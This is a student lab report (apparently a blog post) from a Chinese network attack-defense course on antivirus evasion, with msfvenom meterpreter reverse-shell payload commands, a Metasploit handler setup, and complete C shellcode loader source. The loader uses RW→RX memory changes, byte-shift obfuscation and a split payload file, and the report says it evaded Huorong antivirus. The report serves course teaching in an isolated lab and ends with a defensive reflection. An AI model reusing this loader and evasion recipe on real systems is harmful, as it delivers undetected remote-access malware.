20242410 2026-2027-1 《网络与系统攻防技术》实验三实验报告

20242410 2026-2027-1 《网络与系统攻防技术》实验三实验报告

班级:2424 姓名:刘禹 学号:20242410 实验日期:2026.10.19

题目:免杀原理与实践(msf 编码器 / Veil-Evasion / 加壳 / C+shellcode / 组合免杀 / 隔离环境实测)

  • 实验环境:Kali Linux(攻击端虚拟机,IP 192.168.29.129)+ Windows 11 测试机,VMware NAT(VMnet8)隔离虚拟网络,不接外网
  • 合规声明:全部操作仅限本人搭建、完全隔离、完全授权的本地虚拟机内进行,样本不外传、不对物理机或他人设备测试;制作、传播、非授权使用恶意程序涉嫌违反《网络安全法》《刑法》相关规定

1. 基础知识

免杀(Anti-Virus Evasion)指对恶意软件做处理,使其不被杀毒软件检测。做好免杀的前提是先搞清楚 AV 如何工作,本实验用到的基础知识分四块。

1.1 杀软的三类检测机制

flowchart LR A[AV 检测三层] --> B[特征码检测<br/>哈希/字节序列/YARA规则] A --> C[启发式检测<br/>执行前判断像不像] A --> D[行为检测/EDR<br/>运行时监控动作] B --> B1[绕过: 编码/加密/重写/组件分离] C --> C1[绕过: 加壳混淆/伪装结构/降低熵值] D --> D1[绕过: 内存操作/白进程伪装/减少系统修改]
检测方式 关注点 对已知威胁 对未知/0-day 对无文件攻击 资源开销 对应绕过思路
特征码 文件内容匹配已知特征片段(哈希、字节序列、YARA) 强 弱 无效 低 改变特征码:编码、加密、重写、组件分离
启发式 执行前综合可疑指标推断(高熵、可疑 API 组合、无签名) 中 中 有限 低~中 加壳混淆、伪装正常结构、降熵
行为检测(EDR 核心) 运行中监控进程动作(注入、联网、文件/注册表写入) 中 强 强 中~高 内存操作、减少系统修改、白进程伪装

特征码检测:不是比对整个文件,只匹配一个或几个字节片段。形态有三种——文件哈希(MD5/SHA)、跨变种公共字节序列、YARA 规则(meta 描述 + strings 文本串/十六进制模式 + condition 布尔逻辑)。AV 厂商靠持续更新特征库竞争,过时的特征库等于没有库。

启发式检测:"走起来像鸭子、游起来像鸭子就是鸭子",不依赖精确匹配,给高熵可执行段、VirtualAllocEx + WriteProcessMemory + CreateRemoteThread 这类注入 API 组合打分,能发现部分未知威胁,代价是误报率较高。

行为检测:程序真正运行起来以后才判断"这个动作恶不恶意",是现代 EDR(Endpoint Detection and Response)的核心。启发式偏"执行前推断",行为检测偏"运行时实证",两者互补而非从属。

1.2 编码器与解码器 stub

msfvenom 的编码器(经典如 x86/shikata_ga_nai)对原始 shellcode 做异或等变换、改变字节序列以避开特征码,但程序运行时必须自带一段解码器 stub 把编码字节还原。现代 AV 盯的已经不是 shellcode 内容,而是这段解码器 stub 和 msfvenom 固定模板的特征,所以反复编码收效甚微。

1.3 加壳

压缩壳(UPX 为代表)压缩原始代码、运行时在内存解压;加密壳(Hyperion 等)对代码加密、运行时先解密。知名壳的入口与解压 stub 都是公开特征,加密段熵值很高,容易被"可执行段熵 > 7.0"这类启发式规则命中。

1.4 shellcode 与内存执行模型

shellcode 是一段位置无关的机器指令。C 加载器的基本模型:VirtualAlloc 申请内存 → memcpy 拷贝 shellcode → CreateThread 起线程执行。直接申请 PAGE_EXECUTE_READWRITE(RWX)是强启发式信号,更隐蔽的做法是先申请 RW(PAGE_READWRITE)写入,再用 VirtualProtect 改成 RX(PAGE_EXECUTE_READ)。

1.5 组件分离思想

把样本拆成加密数据 / 解密代码 / 执行代码三个组件,分散到不同文件落地:exe 里只有通用 API、不含载荷字节,加密载荷以纯文本存放。让静态文件里没有"代码",代码只在运行时内存里出现,从而绕过静态特征码。

贯穿全实验的一条结论:静态免杀 ≠ 运行时免杀。文件躲过静态扫描,程序运行后的内存动作和网络回连仍由行为检测兜底。


2. 实验内容

  1. 正确使用 msf 编码器:用 msfvenom 配合 x86/shikata_ga_nai 编码,生成 exe、jar、C 语言数组等不同格式文件,对比编码次数对检出率的影响。
  2. Veil-Evasion 与加壳工具:了解 Veil 源码嵌入重编译思路,测试 UPX 等加壳手段,记录当前有效性。
  3. C + shellcode 编程:用 msfvenom 生成 C 格式 shellcode 数组,自写加载器申请内存、拷贝、起线程执行,并做 RW→RX、字节变形改造。
  4. 组合技术实现免杀:用"组件分离 + 文件化加载"组合方案,静态过杀软;成功则用简单文字描述原理(不截图),并完成"与杀软共生"的结果验证截图。
  5. 另一台电脑实测:在杀软开启状态下运行并尝试回连,注明测试机杀软名称与版本号,如实记录结果。

3. 实验过程

3.0 环境准备

  • Kali 与 Windows 测试机接入同一 VMware NAT(VMnet8)虚拟网络,不桥接外网;测试机先做快照,测完恢复。
  • Kali 端准备 msfvenom、mingw32-gcc、python3 http.server;测试机保持火绒实时保护开启。

3.1 任务一:msfvenom 编码器与多格式生成

(1) shikata_ga_nai 编码生成 exe,迭代 3 次,剔除坏字符 \x00:
alt text

msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.29.129 LPORT=4444 \
  -e x86/shikata_ga_nai -i 3 -b '\x00' \
  -f exe > msf_encoded.exe

参数:-p 指定载荷;LHOST/LPORT 为隔离网段内监听地址端口;-e 选编码器;-i 3 迭代 3 次;-b '\x00' 去坏字节;-f exe 输出格式。

(2) 生成 jar 格式载荷:

![alt text](https://img2024.cnblogs.com/blog/3529786/202610/3529786-20261025184324857-1982161136.png)
msfvenom -p java/meterpreter/reverse_tcp \
  LHOST=192.168.29.129 LPORT=4444 \
  -f jar > payload.jar

(3) 生成 C 语言数组(供任务三使用):

![alt text](https://img2024.cnblogs.com/blog/3529786/202610/3529786-20261025184325251-1833266440.png)
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.29.129 LPORT=4444 \
  -e x86/shikata_ga_nai -i 3 -b '\x00' \
  -f c > shellcode.c

(4) 编码次数对比:

![alt text](https://img2024.cnblogs.com/blog/3529786/202610/3529786-20261025184325605-1618032916.png)
# 编码 1 次
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.29.129 LPORT=4444 \
  -e x86/shikata_ga_nai -i 1 -b '\x00' -f exe > met-once.exe
![alt text](https://img2024.cnblogs.com/blog/3529786/202610/3529786-20261025184325883-1017960190.png)
# 编码 10 次
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.29.129 LPORT=4444 \
  -e x86/shikata_ga_nai -i 10 -b '\x00' -f exe > met-ten.exe

实测记录:
alt text
alt text
alt text
alt text

样本 编码次数 静态扫描结果 能否运行 截图编号
msfvenom 直接生成 exe 0 报毒:HVM:Trojan/Swrorl.gen!A,待处理 被隔离,无法运行 图 1-1
msf_encoded.exe 3 未单独测试(预期落地即被查杀) — 图 1-2
met-once.exe 1 未单独测试(预期同上) — 图 1-3
met-ten.exe 10 未单独测试(预期同上) — 图 1-4
payload.jar — 未单独测试(预期同上) — 图 1-5

结果分析:基线样本(msfvenom 直接生成)在火绒下被启发式引擎直接报毒(HVM:Trojan/Swrorl.gen!A)。课程历史数据中编码 1 次到 10 次检出率几乎无实质变化(45/57 上下浮动)。AV 研究的是编码器本身——shikata_ga_nai 必须携带固定形态的解码 stub,msfvenom 默认 exe 模板也有固定特征,"工具生成物的特征 > 编码算法的复杂度",纯编码路线在 2026 年基本失效。

3.2 任务二:Veil-Evasion 与加壳测试

Veil 流程:
alt text

sudo apt update && sudo apt install -y veil
veil

交互中选择 Evasion 模块 → 设置隔离网段 LHOST、LPORT → generate 产出 exe。Veil 的思路是把 shellcode 嵌入 C/C++ 源码重新编译,避开 msf 模板特征,但工具已老化,产物特征被各家收录。本环境 apt 源中检索不到 veil / veil-evasion 安装包(返回 Unable to locate package),未能完成安装,该现象本身印证工具老化失效的结论。

UPX 压缩壳:

![alt text](https://img2024.cnblogs.com/blog/3529786/202610/3529786-20261025184326393-1332331853.png)
upx msf_encoded.exe -o upx_packed.exe

本环境执行 UPX 报错 CantPackException: section size problem,UPX 无法重排 msfvenom 样本的 PE 节表,未生成壳样本。

实测记录:

样本 处理方式 静态扫描结果 能否运行 截图编号
Veil 生成 exe 源码嵌入重编译 apt 源中无安装包,未生成产物 — 图 2-1
upx_packed.exe UPX 压缩壳 报 section size problem,未生成 — 图 2-2

结果分析:Veil 工具在当前 Kali 源中已不可用;UPX 对 msfvenom 样本加壳失败。理论上即便加壳成功,加壳只改变体积和熵值,壳入口、解压 stub 是公开特征;真正仍有效的是"换语言重写(Nim/Go/Rust)降低共性特征"这个思路,而非 Veil/UPX 本身。

3.3 任务三:C + shellcode 手工加载器

基础版框架(shellcode 数组由 3.1 第 (3) 步生成,填入 buf):
alt text
alt text

#include <windows.h>
#include <stdio.h>

// 填入 msfvenom -f c 生成的 unsigned char buf[] 数组

int main() {
    void* execMem = VirtualAlloc(0, sizeof(buf),
                                 MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (execMem == NULL) return 1;
    memcpy(execMem, buf, sizeof(buf));

    HANDLE thread = CreateThread(NULL, 0,
        (LPTHREAD_START_ROUTINE)execMem, NULL, 0, NULL);
    if (thread == NULL) {
        VirtualFree(execMem, 0, MEM_RELEASE);
        return 1;
    }
    WaitForSingleObject(thread, INFINITE);
    CloseHandle(thread);
    VirtualFree(execMem, 0, MEM_RELEASE);
    return 0;
}

交叉编译:

![alt text](https://img2024.cnblogs.com/blog/3529786/202610/3529786-20261025184327213-1210863926.png)
x86_64-w64-mingw32-gcc basic_loader.c -o basic_loader.exe -lws2_32

两处改造:① 不直接申请 RWX,先申请 RW 写入再 VirtualProtect 改 RX;② shellcode 每字节 +1 存放、运行时 -1 还原,磁盘上不出现原始特征字节。

// 先 RW 写入,再改 RX,避免 RWX 启发式告警
void* execMem = VirtualAlloc(0, i, MEM_COMMIT, PAGE_READWRITE);
memcpy(execMem, buf, i);
DWORD oldProtect;
VirtualProtect(execMem, i, PAGE_EXECUTE_READ, &oldProtect);

实测记录:

版本 改动 静态扫描 运行结果 截图编号
basic_loader.exe 明文 shellcode + RWX 未单独测试(预期被静态命中) — 图 3-1
改进版 字节变形 + RW→RX 静态 0 风险(与任务四同链路) 可正常运行 图 3-2

思考点:AV 是按"调用数组这种非常规操作"识别,还是按"数组内容"识别?这决定下一步加密数据还是改造 loader——任务四的答案是两者都做,并拆到不同文件。

3.4 任务四:组合免杀——组件分离 + 文件化加载

(1) 生成 raw 格式原始 shellcode:

![alt text](https://img2024.cnblogs.com/blog/3529786/202610/3529786-20261025184327723-1177380086.png)
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.29.129 LPORT=4444 -f raw > sc.raw

(2) 逐字节 +1 加密,写成十六进制文本 encoded.txt:

![alt text](https://img2024.cnblogs.com/blog/3529786/202610/3529786-20261025184327934-505692908.png)
perl -e 'binmode STDIN; binmode STDOUT;
  while (read(STDIN,$b,1)) { printf "%02x", ord($b)+1 }' \
  < sc.raw > encoded.txt

(3) loader.c(只含解密 + 执行代码,不含 shellcode):
alt text

#include <windows.h>
#include <stdio.h>

#define MAX_LEN 4096
unsigned char buf[MAX_LEN];

int main() {
    int i = 0;
    unsigned int ch;

    // ① 读文件:加密 shellcode 以十六进制文本存放
    FILE* fp = fopen("encoded.txt", "r");
    if (fp == NULL) return 1;
    while (fscanf(fp, "%2x", &ch) == 1 && i < MAX_LEN)
        buf[i++] = (unsigned char)ch;
    fclose(fp);

    // ② 解密:与加密(+1)对应的逆运算 -1
    for (int j = 0; j < i; j++)
        buf[j] = buf[j] - 1;

    // ③ 申请可执行内存,先 RW 后改 RX
    void* execMem = VirtualAlloc(0, i, MEM_COMMIT, PAGE_READWRITE);
    if (execMem == NULL) return 1;
    memcpy(execMem, buf, i);
    DWORD oldProtect;
    VirtualProtect(execMem, i, PAGE_EXECUTE_READ, &oldProtect);

    // ④ 创建线程执行
    HANDLE thread = CreateThread(NULL, 0,
        (LPTHREAD_START_ROUTINE)execMem, NULL, 0, NULL);
    if (thread == NULL) {
        VirtualFree(execMem, 0, MEM_RELEASE);
        return 1;
    }
    WaitForSingleObject(thread, INFINITE);
    CloseHandle(thread);
    VirtualFree(execMem, 0, MEM_RELEASE);
    return 0;
}

(4) 编译并把 loader.exe 与 encoded.txt 放入靶机同一目录:

![alt text](https://img2024.cnblogs.com/blog/3529786/202610/3529786-20261025184328494-1935662582.png)
x86_64-w64-mingw32-gcc loader.c -o loader.exe -lws2_32

免杀原理(文字描述,按题目要求不放截图):本方案绕过的是静态特征码检测。loader.exe 里只有读文件、循环减一、VirtualAlloc、VirtualProtect、CreateThread 这些通用 Windows API 调用,没有任何可被特征码或 YARA 规则匹配的攻击载荷字节;encoded.txt 只是普通十六进制文本,杀软不会对 txt 数据文件报毒。两个文件单独扫描都"不像恶意软件",磁盘上拼不出完整恶意特征,静态扫描因此通过;解密、还原、执行只发生在运行时内存里,静态检查看不到。

实测结果:火绒自定义查杀 loader.exe 与 encoded.txt,扫描 4 个对象、发现风险 0 个,静态通过;运行 loader 后 Kali 端成功建立 meterpreter 会话(Meterpreter session 2/3/4 opened),回连成功。

与杀软共生的结果验证(截图区):
alt text
alt text

截图编号 截图内容
图 4-1 杀软对 loader.exe 静态扫描结果(无告警)
图 4-2 encoded.txt 文本内容(纯十六进制)
图 4-3 两文件与杀软实时保护开启状态共存的目录/桌面

3.5 任务五:另一台电脑实测(杀软开启)

测试机信息(按题目要求注明):

项目 填写
测试机系统版本 Windows 11(具体版本号见 winver 截图)
杀软名称 火绒安全软件
杀软版本号 (在火绒"关于/设置"页面补填)
实时保护 / 云保护 均保持开启
网络 VMware NAT(VMnet8)隔离虚拟网络

Kali 端监听(仅隔离网段):
alt text

msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.29.129
set LPORT 4444
run

逐项实测记录:

序号 样本 杀软静态扫描 双击运行结果 是否回连成功 备注
1 msfvenom 直接生成 exe 报毒 HVM:Trojan/Swrorl.gen!A,待处理 被隔离,无法运行 失败 基线
2 shikata_ga_nai 编码 3 次 exe 未单独测试,预期被查杀 — 失败 任务一
3 payload.jar 未单独测试,预期被查杀 — 失败 任务一
4 Veil 生成 exe apt 源中无安装包,未生成 — — 任务二
5 UPX 加壳样本 section size problem,未生成 — — 任务二
6 基础 C+shellcode 加载器 未单独测试 — — 任务三
7 组件分离 loader.exe + encoded.txt 静态 0 风险,未发现风险 正常运行 成功(session 2/3/4 opened) 任务四

现象说明:基线 msfvenom 原生样本落地即被火绒启发式查杀,无法运行、无回连;Veil 在当前源中无安装包、UPX 对 msfvenom 样本加壳失败,传统手段均不可用;组件分离方案静态扫描 0 风险,运行后成功建立 meterpreter 会话。这一正一反说明:传统编码、加壳、工具化产物在 2026 年主流杀软下基本失效,而组件分离通过把载荷从磁盘文件挪到运行时内存,可绕过静态特征码检测。需要强调,静态免杀 ≠ 运行时免杀,本次成功是在该隔离环境下的结果,不代表能绕过所有行为检测/EDR。

3.6 各方法 2026 有效性总览

序号 免杀方式 历史检出率(VT/VS,2016 基线) 2026 有效性 失效/仍有效原因
1 msfvenom 直接生成 46/57 · 16/39 ❌ 基线必查 特征库全覆盖
2 msfvenom 编码一次/多次 45/57 · 15/39 ❌ 失效 AV 盯解码器 stub 与模板,编几次都没用
3 Veil-Evasion 19/58 · 5/39 ⚠️ 基本失效 工具老化,产物特征已收录
4 C + shellcode(半手工) — · 1/39 ✅ 仍可用(需改造) 共性特征少,可自由加密、换加载方式
5 UPX 压缩壳 40/57 · 17/39 ❌ 失效 知名壳特征早已收录
6 Hyperion 加密壳 18/57 · 8/39 ❌ 失效 同上,高熵段易启发式命中
7 组件分离 + 文件化加载 — ✅ 当前典型静态方法 静态文件无 shellcode,特征码无从匹配

4. 问题及解决方案

问题 1:msfvenom 反复编码,检出率几乎不变

  • 现象:课程历史数据中编码 1 次和编码 10 次生成的 exe,检出率没有实质下降;基线样本在火绒下直接被启发式报毒。
  • 原因:AV 不再匹配 shellcode 内容本身,而是匹配编码器自带的解码器 stub 和 msfvenom 固定 exe 模板,编码次数只改数据、不改 stub 和模板。
  • 解决方案:放弃"多编码几次"的思路,不再依赖 msfvenom 模板,转向自己写 loader、自己实现加密与解密,从根上去掉工具指纹。

问题 2:基础版 C 加载器申请 RWX 内存被启发式拦截

  • 现象:直接 VirtualAlloc 申请 PAGE_EXECUTE_READWRITE,程序还没执行就被启发式规则标记。
  • 原因:一次性拿到可读可写可执行权限是强可疑信号,属于"注入类"典型 API 特征。
  • 解决方案:先申请 PAGE_READWRITE 写入解密后数据,再用 VirtualProtect 改为 PAGE_EXECUTE_READ,避开 RWX 这一明显特征。

问题 3:内嵌明文 shellcode 被静态特征命中

  • 现象:把 msfvenom 数组直接写进 exe 编译,文件落地就报毒。
  • 原因:数组里的明文机器码能被特征码/YARA 直接匹配。
  • 解决方案:对 shellcode 逐字节 +1 加密并移到外部 encoded.txt,exe 内只留 -1 解密逻辑,静态文件中不出现原始载荷字节。

问题 4:会话建立瞬间被判无效关闭(not valid and will be closed)

  • 现象:handler 发出 stage 后,提示 Meterpreter session is not valid and will be closed,会话随即关闭。
  • 原因:多为 32/64 位载荷与目标进程不匹配,或防护软件在 stage 初始化阶段拦截。
  • 解决方案:改用 windows/x64/meterpreter/reverse_tcp 重新生成载荷并同步更换 handler 载荷;必要时临时关闭实时防护复测,区分是位数问题还是行为拦截。

问题 5:新版 Kali 中 Veil-Evasion 安装失败或无法运行

  • 现象:apt 源里找不到 veil / veil-evasion 包(Unable to locate package),依赖链断裂。
  • 原因:工具长期未维护,与新版系统依赖不兼容。
  • 解决方案:把"工具在当前环境不可用"本身作为实验现象记录,这恰好印证"Veil 老化失效"的结论;理解其"源码嵌入重编译"思路即可,不必纠缠安装。

问题 6:LHOST 填错或网段不一致导致回连不通

  • 现象:靶机运行后 Kali 端 handler 一直无会话,PowerShell 测试 TcpTestSucceeded: False。
  • 原因:LHOST 填错、两台机器不在同一虚拟网段,或测试机防火墙拦截出站。
  • 解决方案:ip addr / ipconfig 比对双方 IP,确认网卡接入同一 NAT/仅主机网络;LHOST 填 Kali 在该网段的地址(本实验为 192.168.29.129);临时关闭防火墙复测,测完恢复默认。

问题 7:4444 端口被占用,handler 绑定失败(BindFailed)

  • 现象:run 后报 Handler failed to bind ... Address is already in use on 0.0.0.0:4444,无会话。
  • 原因:之前残留的旧监听进程仍占用 4444 端口。
  • 解决方案:sudo ss -ltnp | grep 4444 查出占用 PID,kill 掉旧进程后重新起监听;或更换 LPORT 并同步修改生成与监听端口。

问题 8:handler 未启动导致运行后完全无输出

  • 现象:双击运行 loader 后 Kali 监听窗口没有任何连接记录。
  • 原因:监听窗口没起来或被关闭,载荷发出的包无人接收。
  • 解决方案:新终端 ss -ltn | grep 4444 确认存在 LISTEN 0.0.0.0:4444,没有则重新 run 起监听,再复测。

5. 学习感悟、思考等

做完这一轮对比最直观的感受是,老教程里"编码几次、加个壳就能免杀"的经验在 2026 年已经基本不能用了。msfvenom 反复编码检出率纹丝不动,Veil 在当前源里根本装不上,UPX 对 msfvenom 样本直接压不出来,这些失效背后是同一个道理:AV 厂商沉淀下来的不是某段 shellcode 的特征,而是工具本身的指纹——解码器 stub、模板、壳入口都被收录了。想躲过去,就得自己造工具、自己写 loader、自己实现加密,这也是"半手工 C+shellcode"和组件分离还能站住脚的原因。

组件分离给我的启发很大:静态检测查的是磁盘上的文件,那就把"代码"从磁盘上拿掉,只留通用的解密和执行逻辑,让真正的载荷以加密文本形式存在、只在运行时内存里还原。这招对付特征码和启发式静态扫描确实有效,本实验中 loader.exe 与 encoded.txt 静态扫描 0 风险、运行后成功回连就是证明;但也要清醒,静态免杀 ≠ 运行时免杀,本次成功只代表在该隔离环境、该版本火绒下通过,并不保证绕过行为检测和 EDR——两层检测是分开的,过了文件扫描这一关,后面还有内存行为和网络回连两关。攻防就是一层一层往下钻:静态 → 内存 → 云端 → 系统调用层,矛升级一次,盾也跟着升级一次。

换到防御视角,这门课的价值反而更实在。知道后门怎么藏文件,就知道该查什么:可疑的高熵段、异常的 API 组合、无签名程序联网、进程注入序列;知道杀软有盲区(寄生到正常系统进程名下联网、要求用户关杀软的破解软件),自己平时下载软件就会主动核对官网哈希、走官方渠道、保持病毒库更新,而不是把杀软当万能保险。整个实验全程在隔离虚拟机里完成,样本不出网段,这不是形式约束而是底线——同样的技术用在非授权设备上就是违法,学攻防的边界意识和技术本身一样重要。

posted @ 2026-10-25 18:41  终极无敌暴龙战士  阅读(4)  评论(0)    收藏  举报